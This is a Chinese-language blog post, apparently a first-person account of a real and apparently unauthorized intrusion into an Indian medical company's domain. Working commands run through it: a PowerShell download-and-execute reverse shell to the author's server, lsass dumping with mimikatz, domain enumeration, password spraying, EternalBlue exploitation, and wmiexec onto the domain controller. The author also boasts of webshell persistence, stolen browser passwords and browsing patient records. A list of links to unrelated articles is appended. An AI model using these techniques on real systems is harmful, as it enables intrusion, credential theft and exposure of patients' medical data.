给我一个shell我能干翻你内网
0x00 前言
在去年小菜鸡学了点内网知识就闲着没事跑点jboss的站看看,在经历过很多次内网横向失败之后终于算是人生圆满了一把,阿三的站一般进去之后很难横向,不知道是不是我太菜的原因,反正阿三的站能够横向拿完的有且仅有这么一个,过了很久再放出来应该是没啥大问题了吧,希望师傅们友好交流
0x01 外围打点
首先对发现了该站点的JBoss页面,经过测试发现具有JBoss反序列化漏洞
这里我用的是war远程部署的方法拿到了一个shell
这里看到对方是windows系统,当前用户权限是管理员权限。并且该机器具有两张网卡,通向了两个网段,那么肯定是存在域环境
想直接上线cs多人运动,发现上线失败,机器也是出网的,尝试powershell,hta,exe,wmic都不行,真的奇怪,用tasklist /svc看了一下对方机器并无杀软
这里就想着先拿一个稳定的shell,想往部署war包的路径写个冰蝎的马
由于这个shell并不稳定 这里远程加载powercat脚本反弹到vps上
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c ip -p 9000 -e cmd
在jboss/server/default/deploy/management/目录 echo写入冰蝎的马
windows下注意要使用^对尖括号进行转义,本地实验一下,成功
往目标机器写入,成功连接,very good,至此打点成功
0x02 本机信息收集
拿到webshell后先维权往其他几个目录也放几个webshell,防止被管理员删除修复
然后依托当前机器收集尽可能多的信息,迅速了解目标的内网大致网络结构和机器软件环境,为下一步继续深入做好准备
ipconfig /all &&netstat -ano &&arp -a 查看当前机器处于哪个环境哪个网段
wmic os get caption,csdversion,osarchitecture,version 抓明文之前了解目标系统版本 有些默认是抓不到明文的
wmic product get name,version 查看安装软件列表
whoami /user &&quer user
tasklist /v && net start
systeminfo
可以看到当前我们获得的这台是win7企业版的主机,且处在域内,有2张网卡,通向2个网段
然后不断的翻资料,不断的翻资料
翻到这家企业的人力资源手册、wifi密码、网关,疑似oracle数据账号密码等信息
把人力资源手册翻译看看,发现这是一家阿三的医疗私人有限公司,真好
里面包括企业的政策及用人部分分配处分等信息,得到他的官网 www.sxxxx.com
把资料翻完之后,抓取一下浏览器记录及密码,使用hack-browser-data,抓取下来本地查看
还是有很多有价值的密码的,把这些密码收集起来,还发现他用gmail邮箱注册了一个网站的账号
然后登录查看一下这些网站的发现这台机的主人还有玩一些投资的平台,具体是什么没深入下去
有个网站引起了我的注意,登录发现这是一个挂号平台
可以查看大量患者人员的信息,并且可进行通话
还有患者的家属情况人员信息,住院出院时间
然后尝试抓密码,用prodump导出
procdump64.exe -accepteula -ma lsass.exe 1.dmp
makecab c:\jboss\bin\1.dmp 1.zip
利用windows自带的压缩工具压缩一下然后下载回本地
离线mimikatz读取
mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit
直接抓到域管账号administrator的密码,其实挺好奇的看了一下,该机器名为EDP,接着百度了一下
应该就是高层人员的意思吧,当前获取的是一名高层主管机器,然后整理收集得到的密码,相对来说还是相对丰富的
0x03 域内信息收集
先找到它的域控
net group /domain 查看域组
net group "domain users" /domain 域内用户
net group "domain admins" /domain 域管用户
net group "domain computers" /domain 域内机器
net group "domain controllers" /domain 域控机器
内网大概300台左右,当时很惊讶,后来想了一下医院的话确实300台也不算多
可以看到域控的机器名为ADC1,通过ipconfig /all看到dns服务器为192.168.0.100
该机器通过ping 域名查看可以确认192.168.0.100为域控
0x04 获取域内spn记录
摸清域内敏感机器资产的分布,方便之后突破。可以拿着这些获取到的机器名,来快速完整探测当前域内的所有存活主机,通过net view还是比较不准的,开启防火墙也是探测不到的
这里如果能上cs就会好操作很多,但是很遗憾,这里只能硬着头皮手动搞
setspn -T xxx.com -Q */* >spn.txt
接着对拉回来的spn文件进行处理,获取spn记录前面的主机名字
grep "CN=" spn.txt | awk -F "," {'print $1'} | awk -F "=" {'print $2'} > host.txt
通过SPN我们可以获取到域内的存活主机何一些主机的具体作用。可以通过主机的名字来获取到这个主机提供什么服务
除了SPN收集域内的信息的话,还可以通过bloodHound来获取域内的一些信息。接着快速抓取当前域内的所有用户,组,会话,数据,上传exe文件上去然后再把数据给下载回来
0x05 内网存活机器及资产搜集
利用毒液venom代理
挂socks5 msf里的smb_versionb模块进行smb扫描
setg Proxies socks5:ip:端口
setg reverseallowproxy true
set rhosts file:/home/kali/Desktop/ip.txt
set threads 15
利用收集到的密码对内网机器进行批量smb弱口令探测,进行连接并进行整理
还是收获很大的对其他服务器进行弱口令探测,爆破出一台linux主机一台windows主机,查找文件并无什么发现
0x06 探测内网web资产
内网jboss拿下8台,医院管理后台尝试弱口令与之前的密码,无果
发现一个mirth connect 医疗信息接口集成引擎,用admin/admin弱口令进入
0x07 对内网的Windows机器进行永恒之蓝渗透
对内网的主机进行MS17-010漏洞探测, 通过venom把msf代入内网进行探测,发现了有很多主机都存在有永恒之蓝的漏洞
主机为64位,migrate迁移进程做好安全措施
利用Kiwi读取密码
打下18台主机,其中包括hr docker icu的机器,想继续深度挖掘的,但是太累了
继续深度挖掘就抓密码读敏感文件,谷歌浏览器账号密码,一直反复拿到自己想要拿的资料为止
继续利用Kiwi读取密码
读取了4、5台后发现密码几乎一样 是站点域名@123,看来还是很多根据域名xxx@123等来设置密码的,这里我直接尝试用域用户进行密码喷洒
可以看到还是非常多域内用户使用了该密码,这里使用wmiexec.py连接域控
python3 ./wmiexec.py sxxxx/Administrator:密码@192.168.0.100
发现开启3389尝试连接域控,连接成功
利用域管密码导出域内用户hash
保存下来看了一下,密码复用率非常高,基本只有几个用户是有设置密码的
0x08 后记
这次渗透测试来说还是挺顺利的,就是不断信息收集进行突破,真的是信息收集到一定程度时,已经能拿下很多机器了
闲着没事又到域控里面逛了一下,在一个盘符里面看到了个bat文件,打开一看应该是前辈留下来的
至此本次渗透过程应该算是比较圆满了,不过有些地方肯定还是有更好的方法,在以后的学习中应该要学习得更加扎实
用前辈的话跟师傅们共勉:低调求发展,潜心习安全
给我一个shell我能干翻你内网的更多相关文章
- 一个基于DPI技术实现了内网资产识别的应用
https://www.forescout.com/products/counteract/see/visibility-capabilities/ Home ≫ Products ≫ ForeSco ...
- 一台PC双网卡,一个外网一个内网
问题:一台PC双网卡,一个连外网一个连内网.用户主要访问外网,内网只访问有限的几个ip.因为外网很大,一般人公司内网常访问的ip是有限的几个. 现在如何做到在上外网的同时也能访问内网的系统?明明两个网 ...
- Linux Shell编程(2)——第一个shell程序
在最简单的情况下,脚本程序不过是存储在一个文件里的系统命令列表.这至少让你执行它 时不必重新按顺序键入相同功能的命令序列.一个清空/var/log目录下的日志文件的脚本 # Cleanup # 必须以 ...
- Linux Shell 之 我的第一个Shell程序
这里我首先会介绍一个Shell是什么,再介绍我的第一个Shell程序和从中总结的经验. 一.Shell是什么 在说我的这个Shell程序之前,还是先跟大家说说什么是Shell吧,相信Shell这个 ...
- shell脚本中执行另一个shell脚本
分类: 可以在一个shell脚本中执行另一个shell脚本(或非可执行文件,主要用于取得一些变量的值),方法是: . 文件名(包括路径) 或 变量=文件名(包括路径) . $变量 注意,圆点后面有 ...
- 手把手教你做一个Shell命令窗口
这是一个类似于win下面的cmd打开后的窗口,可以跨平台使用,可以在win和linux下面同时使用,主要功能如下: 首先我们需要把这些功能的目录写出来,通过写一个死循环,让其每次回车之后都可以保持同样 ...
- 编写第一个 Shell 脚本
什么是 Shell 脚本? 一个 shell 脚本就是一个包含一系列命令的文件.shell 读取这个文件,然后执行 文件中的所有命令,就好像这些命令已经直接被输入到了命令行中一样. 怎样编写一个 Sh ...
- Shell教程 之第一个shell脚本
1.第一个shell脚本 打开文本编辑器(可以使用 vi/vim 命令来创建文件),新建一个文件 test.sh,扩展名为 sh(sh代表shell),扩展名并不影响脚本执行 输入一些代码 #!/bi ...
- 第一个shell程序
前言:我为什么又来学习shell呢?因为这个轻量级的编程小脚本语言能够帮我处理一些基于linux的复杂手工工作.真是一言难尽,学会一门又来一门!! 看了2天这个教程,试着写了一个小脚本,没啥技术含量, ...
随机推荐
- D3 tree map
D3 tree map D3 矩形树图 https://www.zhihu.com/question/55529379 https://zhuanlan.zhihu.com/p/57873460 ht ...
- auto skip function args
auto skip function args https://repl.it/@xgqfrms/auto-skip-function-args "use strict"; /** ...
- eui & search select
eui & search select https://element.eleme.io/#/zh-CN/component/select demo <template> < ...
- js & class & init
js & class & init how to call class init method in js when create an instance 在初始化类实例的时候调用,类 ...
- Flutter: moor_flutter库,简化sqlite操作
入门 video moor_flutter 示例代码仓库 install dependencies: ... moor_flutter: dev_dependencies: ... moor_gene ...
- 纯js日历插件
成品的效果图 1.HTML文件 <!DOCTYPE html> <html lang="en"> <head> <meta charset ...
- 为什么Linux需要虚拟内存
本文转载自为什么 Linux 需要虚拟内存 导语 操作系统中的 CPU 和主内存(Main memory)都是稀缺资源,所有运行在当前操作系统的进程会共享系统中的 CPU 和内存资源,操作系统会使用 ...
- springboot启动抛出javax.websocket.server.ServerContainer not available
问题描述:spring boot接入websocket时,启动报错:javax.websocket.server.ServerContainer not available <dependenc ...
- Kubernetes-2.组件
内容主要摘自官网文档资料 官网地址 本文概述了交付正常运行的Kubernetes集群所需的各种组件. 本文编写基于kubernetes v1.17版本 目录 Kubernetes集群 Master组件 ...
- OpenGL光照贴图
一:啥叫贴图 上一节中,我们将整个物体的材质定义为一个整体,但现实世界中的物体通常并不只包含有一种材质,而是由多种材质所组成. 拓展之前的系统,引入漫反射和镜面光贴图(Map).这允许我们对物体的漫反 ...